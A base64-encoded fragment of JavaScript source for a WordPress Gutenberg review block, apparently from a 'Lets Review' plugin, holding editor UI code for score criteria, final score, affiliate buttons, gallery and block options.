7IGNsYXNzTmFtZTogJ2xldHMtcmV2aWV3LWJsb2NrX19pbWFnZXMgbHItYWxsLWMnIH0sXG5cdFx0XHRcdFx0XHRhdHRyaWJ1dGVzLmdhbGxlcnkubWFwKGZ1bmN0aW9uIChibG9jaywgaW5kZXgpIHtcblx0XHRcdFx0XHRcdFx0cmV0dXJuIHdwLmVsZW1lbnQuY3JlYXRlRWxlbWVudChcblx0XHRcdFx0XHRcdFx0XHQnZGl2Jyxcblx0XHRcdFx0XHRcdFx0XHR7IGNsYXNzTmFtZTogJ2xldHMtcmV2aWV3LWJsb2NrX19pbWFnZScgfSxcblx0XHRcdFx0XHRcdFx0XHR3cC5lbGVtZW50LmNyZWF0ZUVsZW1lbnQoJ2ltZycsIHsgc3JjOiBibG9ja1sndGh1bWInXSB9KVxuXHRcdFx0XHRcdFx0XHQpO1xuXHRcdFx0XHRcdFx0fSlcblx0XHRcdFx0XHQpXG5cdFx0XHRcdClcblx0XHRcdCkgOiAnJztcblx0XHRcdGZ1bmN0aW9uIGljb25JbWdIVE1MKHNjb3JlVHlwZSkge1xuXHRcdFx0XHR2YXIgb3V0cHV0ID0gW107XG5cdFx0XHRcdGZvciAodmFyIGkgPSBsZXRzUmV2aWV3QmxvY2tKUy5hcmdzLmljb25fcXVhbnRpdHkgLSAxOyBpID49IDA7IGktLSkge1xuXHRcdFx0XHRcdGlmIChzY29yZVR5cGUgPT09IDMpIHtcblx0XHRcdFx0XHRcdG91dHB1dC5wdXNoKHdwLmVsZW1lbnQuY3JlYXRlRWxlbWVudCgnaScsIHsgJ2NsYXNzJzogbGV0c1Jldmlld0Jsb2NrSlMuYXJncy5zdGFycyB9KSk7XG5cdFx0XHRcdFx0fSBlbHNlIGlmIChzY29yZVR5cGUgPT09IDQpIHtcblx0XHRcdFx0XHRcdG91dHB1dC5wdXNoKHdwLmVsZW1lbnQuY3JlYXRlRWxlbWVudCgnc3BhbicsIHsgZGFuZ2Vyb3VzbHlTZXRJbm5lckhUTUw6IHsgX19odG1sOiBhdHRyaWJ1dGVzLmljb25Db2RlIH0gfSkpO1xuXHRcdFx0XHRcdH0gZWxzZSBpZiAoc2NvcmVUeXBlID09PSA1KSB7XG5cdFx0XHRcdFx0XHRvdXRwdXQucHVzaCh3cC5lbGVtZW50LmNyZWF0ZUVsZW1lbnQoJ2ltZycsIHsgc3JjOiBhdHRyaWJ1dGVzLmltZ0ljb25UaHVtYiB9KSk7XG5cdFx0XHRcdFx0fVxuXHRcdFx0XHR9XG5cdFx0XHRcdHJldHVybiBvdXRwdXQ7XG5cdFx0XHR9XG5cdFx0XHR2YXIgZnJhZ21lbnRDcml0cyA9IHRydWUgPT09IGNyaXRzT24gPyB3cC5lbGVtZW50LmNyZWF0ZUVsZW1lbnQoXG5cdFx0XHRcdEZyYWdtZW50LFxuXHRcdFx0XHRudWxsLFxuXHRcdFx0XHR3cC5lbGVtZW50LmNyZWF0ZUVsZW1lbnQoXG5cdFx0XHRcdFx0J2RpdicsXG5cdFx0XHRcdFx0eyBjbGFzc05hbWU6ICdsZXRzLXJldmlldy1ibG9jayBsZXRzLXJldmlldy1ibG9ja19fY3JpdHMgbGV0cy1yZXZpZXctY3JpdHMtc2VlbicgfSxcblx0XHRcdFx0XHRhdHRyaWJ1dGVzLmNyaXRzLm1hcChmdW5jdGlvbiAoYmxvY2ssIGluZGV4KSB7XG5cdFx0XHRcdFx0XHRyZXR1cm4gd3AuZWxlbWVudC5jcmVhdGVFbGVtZW50KFxuXHRcdFx0XHRcdFx0XHQnZGl2Jyxcblx0XHRcdFx0XHRcdFx0eyBjbGFzc05hbWU6IGNyaXRTdHlsZXMoYmxvY2tbJ291dG9mMTAwJ10pIH0sXG5cdFx0XHRcdFx0XHRcdHdwLmVsZW1lbnQuY3JlYXRlRWxlbWVudCgnZGl2JywgeyBjbGFzc05hbWU6ICdsZXRzLXJldmlldy1yZW1vdmVyJywgb25DbGljazogZnVuY3Rpb24gb25DbGljaygpIHtcblx0XHRcdFx0XHRcdFx0XHRcdHJldHVybiBibG9ja1JlbW92ZXIoJ2NyaXRzJywgaW5kZXgpO1xuXHRcdFx0XHRcdFx0XHRcdH0gfSksXG5cdFx0XHRcdFx0XHRcdHdwLmVsZW1lbnQuY3JlYXRlRWxlbWVudChcblx0XHRcdFx0XHRcdFx0XHQnZGl2Jyxcblx0XHRcdFx0XHRcdFx0XHR7IGNsYXNzTmFtZTogJ2xldHMtcmV2aWV3LWJsb2NrX19jcml0X190aXRsZScsIHN0eWxlOiB0aXRsZVN0eWxlcyB9LFxuXHRcdFx0XHRcdFx0XHRcdHdwLmVsZW1lbnQuY3JlYXRlRWxlbWVudChSaWNoVGV4dCwge1xuXHRcdFx0XHRcdFx0XHRcdFx0bXVsdGlsaW5lOiBmYWxzZSxcblx0XHRcdFx0XHRcdFx0XHRcdHZhbHVlOiBibG9jay50aXRsZSxcblx0XHRcdFx0XHRcdFx0XHRcdG9uQ2hhbmdlOiBibG9ja0VkaXRvci5iaW5kKF90aGlzMiwgaW5kZXgsICdjcml0cycsICd0aXRsZScsICcnKSxcblx0XHRcdFx0XHRcdFx0XHRcdHBsYWNlaG9sZGVyOiBfXygnVGl0bGUnKVxuXHRcdFx0XHRcdFx0XHRcdH0pXG5cdFx0XHRcdFx0XHRcdCksXG5cdFx0XHRcdFx0XHRcdHdwLmVsZW1lbnQuY3JlYXRlRWxlbWVudChcblx0XHRcdFx0XHRcdFx0XHQnZGl2Jyxcblx0XHRcdFx0XHRcdFx0XHR7IGNsYXNzTmFtZTogJ2xldHMtcmV2aWV3LWJsb2NrX19jcml0X19zY29yZScgfSxcblx0XHRcdFx0XHRcdFx0XHR3cC5lbGVtZW50LmNyZWF0ZUVsZW1lbnQoVGV4dENvbnRyb2wsIHtcblx0XHRcdFx0XHRcdFx0XHRcdHZhbHVlOiBibG9ja1tzY29yZVR5cGVQcm9wXSxcblx0XHRcdFx0XHRcdFx0XHRcdHR5cGU6ICdudW1iZXInLFxuXHRcdFx0XHRcdFx0XHRcdFx0bWluOiAwLFxuXHRcdFx0XHRcdFx0XHRcdFx0bWF4OiBtYXgsXG5cdFx0XHRcdFx0XHRcdFx0XHRzdGVwOiBzdGVwLFxuXHRcdFx0XHRcdFx0XHRcdFx0b25DaGFuZ2U6IGJsb2NrRWRpdG9yLmJpbmQoX3RoaXMyLCBpbmRleCwgJ2NyaXRzJywgc2NvcmVUeXBlUHJvcCwgbWF4KVxuXHRcdFx0XHRcdFx0XHRcdH0pXG5cdFx0XHRcdFx0XHRcdCksXG5cdFx0XHRcdFx0XHRcdHdwLmVsZW1lbnQuY3JlYXRlRWxlbWVudChcblx0XHRcdFx0XHRcdFx0XHQnc3BhbicsXG5cdFx0XHRcdFx0XHRcdFx0eyBjbGFzc05hbWU6IHNjb3JlT3ZlcmxheVdyYXBDbGFzcywgc3R5bGU6IHNjb3JlT3ZlcmxheVN0eWxlcyB9LFxuXHRcdFx0XHRcdFx0XHRcdHNjb3JlVHlwZSA8IDMgPyB3cC5lbGVtZW50LmNyZWF0ZUVsZW1lbnQoJ3NwYW4nLCB7IGNsYXNzTmFtZTogJ3Njb3JlLW92ZXJsYXknLCBzdHlsZTogeyB3aWR0aDogYmxvY2sub3V0b2YxMDAgKyAnJScsIGJhY2tncm91bmQ6IGF0dHJpYnV0ZXMuYWNjZW50IH0gfSkgOiB3cC5lbGVtZW50LmNyZWF0ZUVsZW1lbnQoXG5cdFx0XHRcdFx0XHRcdFx0XHRGcmFnbWVudCxcblx0XHRcdFx0XHRcdFx0XHRcdG51bGwsXG5cdFx0XHRcdFx0XHRcdFx0XHRpY29uSW1nSFRNTChzY29yZVR5cGUpLFxuXHRcdFx0XHRcdFx0XHRcdFx0d3AuZWxlbWVudC5jcmVhdGVFbGVtZW50KCdzcGFuJywgeyBjbGFzc05hbWU6ICdzY29yZS1vdmVybGF5Jywgc3R5bGU6IHsgd2lkdGg6IChibG9jay5vdXRvZjEwMCAtIDEwMCkgKiAtMSArICclJyB9IH0pXG5cdFx0XHRcdFx0XHRcdFx0KVxuXHRcdFx0XHRcdFx0XHQpLFxuXHRcdFx0XHRcdFx0XHR3cC5lbGVtZW50LmNyZWF0ZUVsZW1lbnQoXG5cdFx0XHRcdFx0XHRcdFx0J3NwYW4nLFxuXHRcdFx0XHRcdFx0XHRcdHsgJ2NsYXNzJzogJ2xyLXRvb2x0aXAnIH0sXG5cdFx0XHRcdFx0XHRcdFx0X18oJ1RvIHNldCB0aGUgc2NvcmUgY2xpY2sgdGhlIG51bWJlciBhbmQgdHlwZScpXG5cdFx0XHRcdFx0XHRcdClcblx0XHRcdFx0XHRcdCk7XG5cdFx0XHRcdFx0fSksXG5cdFx0XHRcdFx0d3AuZWxlbWVudC5jcmVhdGVFbGVtZW50KFxuXHRcdFx0XHRcdFx0J2RpdicsXG5cdFx0XHRcdFx0XHR7IGNsYXNzTmFtZTogJ2xldHMtcmV2aWV3LWJsb2NrIGxldHMtcmV2aWV3LWFkZGVyLXdyYXAnIH0sXG5cdFx0XHRcdFx0XHR3cC5lbGVtZW50LmNyZWF0ZUVsZW1lbnQoXG5cdFx0XHRcdFx0XHRcdCdkaXYnLFxuXHRcdFx0XHRcdFx0XHR7IGNsYXNzTmFtZTogJ2xldHMtcmV2aWV3LWFkZGVyIGxldHMtcmV2aWV3LWZvbnQnLCBvbkNsaWNrOiBmdW5jdGlvbiBvbkNsaWNrKCkge1xuXHRcdFx0XHRcdFx0XHRcdFx0cmV0dXJuIGJsb2NrQWRkZXIoJ2NyaXRzJyk7XG5cdFx0XHRcdFx0XHRcdFx0fSB9LFxuXHRcdFx0XHRcdFx0XHRfXygnQWRkIENyaXRlcmlhJylcblx0XHRcdFx0XHRcdClcblx0XHRcdFx0XHQpXG5cdFx0XHRcdClcblx0XHRcdCkgOiAnJztcblxuXHRcdFx0dmFyIGZyYWdtZW50U2NvcmUgPSBhdHRyaWJ1dGVzLnNob3dTY29yZSA9PT0gdHJ1ZSB8fCBhdHRyaWJ1dGVzLnNob3dTY29yZSA9PT0gJ3RydWUnID8gd3AuZWxlbWVudC5jcmVhdGVFbGVtZW50KFxuXHRcdFx0XHRGcmFnbWVudCxcblx0XHRcdFx0bnVsbCxcblx0XHRcdFx0d3AuZWxlbWVudC5jcmVhdGVFbGVtZW50KFxuXHRcdFx0XHRcdCdkaXYnLFxuXHRcdFx0XHRcdHsgY2xhc3NOYW1lOiAnbGV0cy1yZXZpZXctYmxvY2sgbGV0cy1yZXZpZXctYmxvY2tfX2ZpbmFsLXNjb3JlIGxldHMtcmV2aWV3LWJsb2NrX19wYWQnIH0sXG5cdFx0XHRcdFx0d3AuZWxlbWVudC5jcmVhdGVFbGVtZW50KFxuXHRcdFx0XHRcdFx0J2RpdicsXG5cdFx0XHRcdFx0XHR7IGNsYXNzTmFtZTogJ3Njb3JlX193cmFwIGxyLWFsbC1jJywgc3R5bGU6IHsgYmFja2dyb3VuZDogYXR0cmlidXRlcy5hY2NlbnQsIGNvbG9yOiBhdHRyaWJ1dGVzLnNraW5GaW5hbFNjb3JlIH0gfSxcblx0XHRcdFx0XHRcdHdwLmVsZW1lbnQuY3JlYXRlRWxlbWVudChUZXh0Q29udHJvbCwge1xuXHRcdFx0XHRcdFx0XHRjbGFzc05hbWU6ICdzY29yZScsXG5cdFx0XHRcdFx0XHRcdHZhbHVlOiBNYXRoLnJvdW5kKGF0dHJpYnV0ZXMuc2NvcmVbc2NvcmVUeXBlUHJvcF0gKiAxMCkgLyAxMCxcblx0XHRcdFx0XHRcdFx0dHlwZTogJ251bWJlcicsXG5cdFx0XHRcdFx0XHRcdG1pbjogMCxcblx0XHRcdFx0XHRcdFx0bWF4OiBtYXgsXG5cdFx0XHRcdFx0XHRcdHN0ZXA6IHN0ZXAsXG5cdFx0XHRcdFx0XHRcdG9uQ2hhbmdlOiBzY29yZVNldHRlci5iaW5kKHRoaXMsICdzY29yZScsIG1heClcblx0XHRcdFx0XHRcdH0pLFxuXHRcdFx0XHRcdFx0d3AuZWxlbWVudC5jcmVhdGVFbGVtZW50KFxuXHRcdFx0XHRcdFx0XHQnZGl2Jyxcblx0XHRcdFx0XHRcdFx0eyBjbGFzc05hbWU6ICdzY29yZV9fdGl0bGUnIH0sXG5cdFx0XHRcdFx0XHRcdHdwLmVsZW1lbnQuY3JlYXRlRWxlbWVudChSaWNoVGV4dCwge1xuXHRcdFx0XHRcdFx0XHRcdG11bHRpbGluZTogdHJ1ZSxcblx0XHRcdFx0XHRcdFx0XHR2YWx1ZTogYXR0cmlidXRlcy5zY29yZVRpdGxlLFxuXHRcdFx0XHRcdFx0XHRcdG9uQ2hhbmdlOiBmdW5jdGlvbiBvbkNoYW5nZSh2YWx1ZSkge1xuXHRcdFx0XHRcdFx0XHRcdFx0cmV0dXJuIHNldEF0dHJpYnV0ZXMoeyBzY29yZVRpdGxlOiB2YWx1ZSB9KTtcblx0XHRcdFx0XHRcdFx0XHR9LFxuXHRcdFx0XHRcdFx0XHRcdHBsYWNlaG9sZGVyOiBfXygnU3VidGl0bGUnKVxuXHRcdFx0XHRcdFx0XHR9KVxuXHRcdFx0XHRcdFx0KVxuXHRcdFx0XHRcdClcblx0XHRcdFx0KVxuXHRcdFx0KSA6ICcnO1xuXG5cdFx0XHR2YXIgYWZmQWRkZXJGcmFnbWVudCA9IHdwLmVsZW1lbnQuY3JlYXRlRWxlbWVudChcblx0XHRcdFx0J2RpdicsXG5cdFx0XHRcdHsgY2xhc3NOYW1lOiAnbGV0cy1yZXZpZXctYmxvY2sgbGV0cy1yZXZpZXctYWRkZXItd3JhcCBsZXRzLXJldmlldy1hZGRlci1hZmYnIH0sXG5cdFx0XHRcdHdwLmVsZW1lbnQuY3JlYXRlRWxlbWVudChcblx0XHRcdFx0XHQnZGl2Jyxcblx0XHRcdFx0XHR7IGNsYXNzTmFtZTogJ2xldHMtcmV2aWV3LWFkZGVyIGxldHMtcmV2aWV3LWZvbnQnLCBvbkNsaWNrOiBmdW5jdGlvbiBvbkNsaWNrKCkge1xuXHRcdFx0XHRcdFx0XHRyZXR1cm4gYmxvY2tBZGRlcignYWZmQmxvY2tzJyk7XG5cdFx0XHRcdFx0XHR9IH0sXG5cdFx0XHRcdFx0X18oJ0FkZCBBZmZpbGlhdGUnKVxuXHRcdFx0XHQpXG5cdFx0XHQpO1xuXG5cdFx0XHR2YXIgZnJhZ21lbnRBZmZpbGlhdGUgPSBhdHRyaWJ1dGVzLmFmZkJsb2Nrcy5sZW5ndGggPiAwID8gd3AuZWxlbWVudC5jcmVhdGVFbGVtZW50KFxuXHRcdFx0XHRGcmFnbWVudCxcblx0XHRcdFx0bnVsbCxcblx0XHRcdFx0d3AuZWxlbWVudC5jcmVhdGVFbGVtZW50KFxuXHRcdFx0XHRcdCdkaXYnLFxuXHRcdFx0XHRcdHsgY2xhc3NOYW1lOiAnbGV0cy1yZXZpZXctYmxvY2sgbGV0cy1yZXZpZXctYmxvY2tfX2FmZiBsZXRzLXJldmlldy1ibG9ja19fcGFkJyB9LFxuXHRcdFx0XHRcdHdwLmVsZW1lbnQuY3JlYXRlRWxlbWVudChcblx0XHRcdFx0XHRcdCdkaXYnLFxuXHRcdFx0XHRcdFx0eyBjbGFzc05hbWU6ICdsZXRzLXJldmlldy1ibG9ja19fdGl0bGUnLCBzdHlsZTogdGl0bGVTdHlsZXMgfSxcblx0XHRcdFx0XHRcdHdwLmVsZW1lbnQuY3JlYXRlRWxlbWVudChSaWNoVGV4dCwge1xuXHRcdFx0XHRcdFx0XHRtdWx0aWxpbmU6IGZhbHNlLFxuXHRcdFx0XHRcdFx0XHR2YWx1ZTogYXR0cmlidXRlcy5hZmZUaXRsZSxcblx0XHRcdFx0XHRcdFx0b25DaGFuZ2U6IGZ1bmN0aW9uIG9uQ2hhbmdlKHZhbHVlKSB7XG5cdFx0XHRcdFx0XHRcdFx0cmV0dXJuIHNldEF0dHJpYnV0ZXMoeyBhZmZUaXRsZTogdmFsdWUgfSk7XG5cdFx0XHRcdFx0XHRcdH0sXG5cdFx0XHRcdFx0XHRcdHBsYWNlaG9sZGVyOiBfXygnQWZmaWxpYXRlIFRpdGxlJylcblx0XHRcdFx0XHRcdH0pXG5cdFx0XHRcdFx0KSxcblx0XHRcdFx0XHR3cC5lbGVtZW50LmNyZWF0ZUVsZW1lbnQoXG5cdFx0XHRcdFx0XHQnZGl2Jyxcblx0XHRcdFx0XHRcdHsgY2xhc3NOYW1lOiAnYWZmLWJ1dHRvbi13cmFwJyB9LFxuXHRcdFx0XHRcdFx0YXR0cmlidXRlcy5hZmZCbG9ja3MubWFwKGZ1bmN0aW9uIChibG9jaywgaW5kZXgpIHtcblx0XHRcdFx0XHRcdFx0cmV0dXJuIHdwLmVsZW1lbnQuY3JlYXRlRWxlbWVudChcblx0XHRcdFx0XHRcdFx0XHRGcmFnbWVudCxcblx0XHRcdFx0XHRcdFx0XHRudWxsLFxuXHRcdFx0XHRcdFx0XHRcdHdwLmVsZW1lbnQuY3JlYXRlRWxlbWVudChcblx0XHRcdFx0XHRcdFx0XHRcdCdkaXYnLFxuXHRcdFx0XHRcdFx0XHRcdFx0eyBjbGFzc05hbWU6ICdhZmYtYnV0dG9uIGxyLWJ1dHRvbiB3aXRoLS1yZW1vdmVyJywgc3R5bGU6IGFmZlN0eWxlcyB9LFxuXHRcdFx0XHRcdFx0XHRcdFx0d3AuZWxlbWVudC5jcmVhdGVFbGVtZW50KCdkaXYnLCB7IGNsYXNzTmFtZTogJ2xldHMtcmV2aWV3LXJlbW92ZXInLCBvbkNsaWNrOiBmdW5jdGlvbiBvbkNsaWNrKCkge1xuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdHJldHVybiBibG9ja1JlbW92ZXIoJ2FmZkJsb2NrcycsIGluZGV4KTtcblx0XHRcdFx0XHRcdFx0XHRcdFx0fSB9KSxcblx0XHRcdFx0XHRcdFx0XHRcdHdwLmVsZW1lbnQuY3JlYXRlRWxlbWVudChcblx0XHRcdFx0XHRcdFx0XHRcdFx0J3NwYW4nLFxuXHRcdFx0XHRcdFx0XHRcdFx0XHR7IGNsYXNzTmFtZTogJ2J1dHRvbi10aXRsZScgfSxcblx0XHRcdFx0XHRcdFx0XHRcdFx0d3AuZWxlbWVudC5jcmVhdGVFbGVtZW50KFJpY2hUZXh0LCB7XG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0bXVsdGlsaW5lOiBmYWxzZSxcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHR2YWx1ZTogYmxvY2suY29udGVudCxcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRvbkNoYW5nZTogYmxvY2tFZGl0b3IuYmluZChfdGhpczIsIGluZGV4LCAnYWZmQmxvY2tzJywgJ2NvbnRlbnQnLCAnJyksXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0cGxhY2Vob2xkZXI6IF9fKCdBZmZpbGlhdGUnKVxuXHRcdFx0XHRcdFx0XHRcdFx0XHR9KVxuXHRcdFx0XHRcdFx0XHRcdFx0KSxcblx0XHRcdFx0XHRcdFx0XHRcdHdwLmVsZW1lbnQuY3JlYXRlRWxlbWVudChcblx0XHRcdFx0XHRcdFx0XHRcdFx0J2RpdicsXG5cdFx0XHRcdFx0XHRcdFx0XHRcdHsgY2xhc3NOYW1lOiAnaS13cmFwJywgc3R5bGU6IHsgYmFja2dyb3VuZDogYXR0cmlidXRlcy5hY2NlbnQgfSB9LFxuXHRcdFx0XHRcdFx0XHRcdFx0XHR3cC5lbGVtZW50LmNyZWF0ZUVsZW1lbnQoJ2knLCB7IGNsYXNzTmFtZTogJ2ZhIGZhLXNob3BwaW5nLWNhcnQnIH0pLFxuXHRcdFx0XHRcdFx0XHRcdFx0XHR3cC5lbGVtZW50LmNyZWF0ZUVsZW1lbnQoJ2knLCB7IGNsYXNzTmFtZTogJ2ZhIGZhLWxvbmctYXJyb3ctcmlnaHQnIH0pXG5cdFx0XHRcdFx0XHRcdFx0XHQpXG5cdFx0XHRcdFx0XHRcdFx0KVxuXHRcdFx0XHRcdFx0XHQpO1xuXHRcdFx0XHRcdFx0fSlcblx0XHRcdFx0XHQpXG5cdFx0XHRcdCksXG5cdFx0XHRcdGFmZkFkZGVyRnJhZ21lbnRcblx0XHRcdCkgOiB3cC5lbGVtZW50LmNyZWF0ZUVsZW1lbnQoXG5cdFx0XHRcdEZyYWdtZW50LFxuXHRcdFx0XHRudWxsLFxuXHRcdFx0XHRhZmZBZGRlckZyYWdtZW50XG5cdFx0XHQpO1xuXHRcdFx0dmFyIGdhbGxlcnlEZWZhdWx0ID0gJyc7XG5cdFx0XHR2YXIgZ2FsbGVyeVJlbW92ZSA9IGZhbHNlO1xuXHRcdFx0dmFyIGdhbGxlcnlCdXR0b25QbGFjZWhvbGRlciA9IF9fKCdFZGl0IEdhbGxlcnknKTtcblx0XHRcdGlmIChhdHRyaWJ1dGVzLmdhbGxlcnkgPT09IHVuZGVmaW5lZCB8fCBhdHRyaWJ1dGVzLmdhbGxlcnkubGVuZ3RoID09PSAwKSB7XG5cdFx0XHRcdGdhbGxlcnlCdXR0b25QbGFjZWhvbGRlciA9IF9fKCdDcmVhdGUgR2FsbGVyeScpO1xuXHRcdFx0fSBlbHNlIHtcblx0XHRcdFx0Z2FsbGVyeURlZmF1bHQgPSBhdHRyaWJ1dGVzLmdhbGxlcnkubWFwKGZ1bmN0aW9uIChfcmVmMikge1xuXHRcdFx0XHRcdHZhciBpZCA9IF9yZWYyLmlkO1xuXHRcdFx0XHRcdHJldHVybiBpZDtcblx0XHRcdFx0fSk7XG5cdFx0XHRcdGdhbGxlcnlSZW1vdmUgPSB0cnVlO1xuXHRcdFx0fVxuXHRcdFx0cmV0dXJuIFt3cC5lbGVtZW50LmNyZWF0ZUVsZW1lbnQoXG5cdFx0XHRcdEluc3BlY3RvckNvbnRyb2xzLFxuXHRcdFx0XHRudWxsLFxuXHRcdFx0XHR3cC5lbGVtZW50LmNyZWF0ZUVsZW1lbnQoXG5cdFx0XHRcdFx0UGFuZWxCb2R5LFxuXHRcdFx0XHRcdHsgdGl0bGU6IF9fKCdCbG9jayBPcHRpb25zJykgfSxcblx0XHRcdFx0XHR3cC5lbGVtZW50LmNyZWF0ZUVsZW1lbnQoVG9nZ2xlQ29udHJvbCwge1xuXHRcdFx0XHRcdFx0bGFiZWw6IF9fKCdTaG93IEZpbmFsIFNjb3JlJyksXG5cdFx0XHRcdFx0XHRjaGVja2VkOiBhdHRyaWJ1dGVzLnNob3dTY29yZSxcblx0XHRcdFx0XHRcdG9uQ2hhbmdlOiBmdW5jdGlvbiBvbkNoYW5nZSh2YWx1ZSkge1xuXHRcdFx0XHRcdFx0XHRyZXR1cm4gc2V0QXR0cmlidXRlcyh7IHNob3dTY29yZTogdmFsdWUgfSk7XG5cdFx0XHRcdFx0XHR9XG5cdFx0XHRcdFx0fSksXG5cdFx0XHRcdFx0d3AuZWxlbWVudC5jcmVhdGVFbGVtZW50KFRvZ2dsZUNvbnRyb2wsIHtcblx0XHRcdFx0XHRcdGxhYmVsOiBfXygnU2hvdyBVc2VyIFJhdGluZycpLFxuXHRcdFx0XHRcdFx0Y2hlY2tlZDogYXR0cmlidXRlcy5zaG93VXNlclJhdGluZyxcblx0XHRcdFx0XHRcdG9uQ2hhbmdlOiBmdW5jdGlvbiBvbkNoYW5nZSh2YWx1ZSkge1xuXHRcdFx0XHRcdFx0XHRyZXR1cm4gc2V0QXR0cmlidXRlcyh7IHNob3dVc2VyUmF0aW5nOiB2YWx1ZSB9KTtcblx0XHRcdFx0XHRcdH1cblx0XHRcdFx0XHR9KSxcblx0XHRcdFx0XHR3cC5lbGVtZW50LmNyZWF0ZUVsZW1lbnQoU2VsZWN0Q29udHJvbCwge1xuXHRcdFx0XHRcdFx0bGFiZWw6IF9fKCdEZXNpZ24nKSxcblx0XHRcdFx0XHRcdHZhbHVlOiBhdHRyaWJ1dGVzLmRlc2lnbixcblx0XHRcdFx0XHRcdG9wdGlvbnM6IFt7IGxhYmVsOiBfXygnTWluaW1hbGlzdCcpLCB2YWx1ZTogJzEnIH0sIHsgbGFiZWw6IF9fKCdNaW5pbWFsaXN0IEInKSwgdmFsdWU6ICc2JyB9LCB7IGxhYmVsOiBfXygnQm9sZCcpLCB2YWx1ZTogJzInIH0sIHsgbGFiZWw6IF9fKCdDbGVhbicpLCB2YWx1ZTogJzUnIH0sIHsgbGFiZWw6IF9fKCdNb2Rlcm4nKSwgdmFsdWU6ICczJyB9LCB7IGxhYmVsOiBfXygnTW9kZXJuIEInKSwgdmFsdWU6ICc0JyB9XSxcblx0XHRcdFx0XHRcdG9uQ2hhbmdlOiBvbkRlc2lnbi5iaW5kKHRoaXMsIGF0dHJpYnV0ZXMuc2NvcmVUeXBlKVxuXHRcdFx0XHRcdH0pLFxuXHRcdFx0XHRcdHdwLmVsZW1lbnQuY3JlYXRlRWxlbWVudChTZWxlY3RDb250cm9sLCB7XG5cdFx0XHRcdFx0XHRsYWJlbDogX18oJ1Njb3JlIFR5cGUnKSxcblx0XHRcdFx0XHRcdHZhbHVlOiBhdHRyaWJ1dGVzLnNjb3JlVHlwZSxcblx0XHRcdFx0XHRcdG9wdGlvbnM6IHNjb3JlVHlwZU9wdGlvbnMsXG5cdFx0XHRcdFx0XHRvbkNoYW5nZTogb25TY29yZVR5cGUuYmluZCh0aGlzKVxuXHRcdFx0XHRcdH0pLFxuXHRcdFx0XHRcdHNjb3JlVHlwZSA9PT0gNCA/IHdwLmVsZW1lbnQuY3JlYXRlRWxlbWVudChUZXh0Q29udHJvbCwge1xuXHRcdFx0XHRcdFx0bGFiZWw6IF9fKCdJY29uIEhUTUwgY29kZScpLFxuXHRcdFx0XHRcdFx0b25DaGFuZ2U6IGZ1bmN0aW9uIG9uQ2hhbmdlKHZhbHVlKSB7XG5cdFx0XHRcdFx0XHRcdHJldHVybiBzZXRBdHRyaWJ1dGVzKHsgaWNvbkNvZGU6IHZhbHVlIH0pO1xuXHRcdFx0XHRcdFx0fSxcblx0XHRcdFx0XHRcdHZhbHVlOiBhdHRyaWJ1dGVzLmljb25Db2RlXG5cdFx0XHRcdFx0fSkgOiAnJyxcblx0XHRcdFx0XHRzY29yZVR5cGUgPT09IDUgPyB3cC5lbGVtZW50LmNyZWF0ZUVsZW1lbnQoXG5cdFx0XHRcdFx0XHQnZGl2Jyxcblx0XHRcdFx0XHRcdHsgY2xhc3NOYW1lOiAnY29tcG9uZW50cy1iYXNlLWNvbnRyb2wgaW5zcGVjdG9yX191cGxvYWQnIH0sXG5cdFx0XHRcdFx0XHR3cC5lbGVtZW50LmNyZWF0ZUVsZW1lbnQoXG5cdFx0XHRcdFx0XHRcdE1lZGlhVXBsb2FkQ2hlY2ssXG5cdFx0XHRcdFx0XHRcdG51bGwsXG5cdFx0XHRcdFx0XHRcdHdwLmVsZW1lbnQuY3JlYXRlRWxlbWVudChNZWRpYVVwbG9hZCwge1xuXHRcdFx0XHRcdFx0XHRcdG9uU2VsZWN0OiBvbkltYWdlU2VsZWN0LmJpbmQodGhpcywgJ2ltZ0ljb24nKSxcblx0XHRcdFx0XHRcdFx0XHR0eXBlOiAnaW1hZ2UnLFxuXHRcdFx0XHRcdFx0XHRcdHZhbHVlOiBhdHRyaWJ1dGVzLmltZ0ljb25JRCxcblx0XHRcdFx0XHRcdFx0XHRyZW5kZXI6IGZ1bmN0aW9uIHJlbmRlcihfcmVmMykge1xuXHRcdFx0XHRcdFx0XHRcdFx0dmFyIG9wZW4gPSBfcmVmMy5vcGVuO1xuXHRcdFx0XHRcdFx0XHRcdFx0cmV0dXJuIHdwLmVsZW1lbnQuY3JlYXRlRWxlbWVudChcblx0XHRcdFx0XHRcdFx0XHRcdFx0J2J1dHRvbicsXG5cdFx0XHRcdFx0XHRcdFx0XHRcdHsgY2xhc3NOYW1lOiAnY29tcG9uZW50cy1idXR0b24gaXMtYnV0dG9uIGlzLWRlZmF1bHQgaXMtbGFyZ2UnLCBvbkNsaWNrOiBvcGVuIH0sXG5cdFx0XHRcdFx0XHRcdFx0XHRcdF9fKCdDaGFuZ2UgSW1hZ2UnKVxuXHRcdFx0XHRcdFx0XHRcdFx0KTtcblx0XHRcdFx0XHRcdFx0XHR9XG5cdFx0XHRcdFx0XHRcdH0pXG5cdFx0XHRcdFx0XHQpXG5cdFx0XHRcdFx0KSA6IHdwLmVsZW1lbnQuY3JlYXRlRWxlbWVudChTZWxlY3RDb250cm9sLCB7XG5cdFx0XHRcdFx0XHRsYWJlbDogJ1NraW4nLFxuXHRcdFx0XHRcdFx0dmFsdWU6IGF0dHJpYnV0ZXMuc2tpbixcblx0XHRcdFx0XHRcdG9wdGlvbnM6IFt7IGxhYmVsOiBfXygnTGlnaHQnKSwgdmFsdWU6ICcxJyB9LCB7IGxhYmVsOiBfXygnRGFyaycpLCB2YWx1ZTogJzInIH0sIHsgbGFiZWw6IF9fKCdDdXN0b20nKSwgdmFsdWU6ICczJyB9XSxcblx0XHRcdFx0XHRcdG9uQ2hhbmdlOiBmdW5jdGlvbiBvbkNoYW5nZSh2YWx1ZSkge1xuXHRcdFx0XHRcdFx0XHRyZXR1cm4gc2V0QXR0cmlidXRlcyh7IHNraW46IHZhbHVlIH0pO1xuXHRcdFx0XHRcdFx0fVxuXHRcdFx0XHRcdH0pLFxuXHRcdFx0XHRcdGJhcnNBbmlPbiA9PT0gdHJ1ZSA/IHdwLmVsZW1lbnQuY3JlYXRlRWxlbWVudChTZWxlY3RDb250cm9sLCB7XG5cdFx0XHRcdFx0XHRsYWJlbDogX18oJ0JhciBBbmltYXRpb25zJyksXG5cdFx0XHRcdFx0XHR2YWx1ZTogYXR0c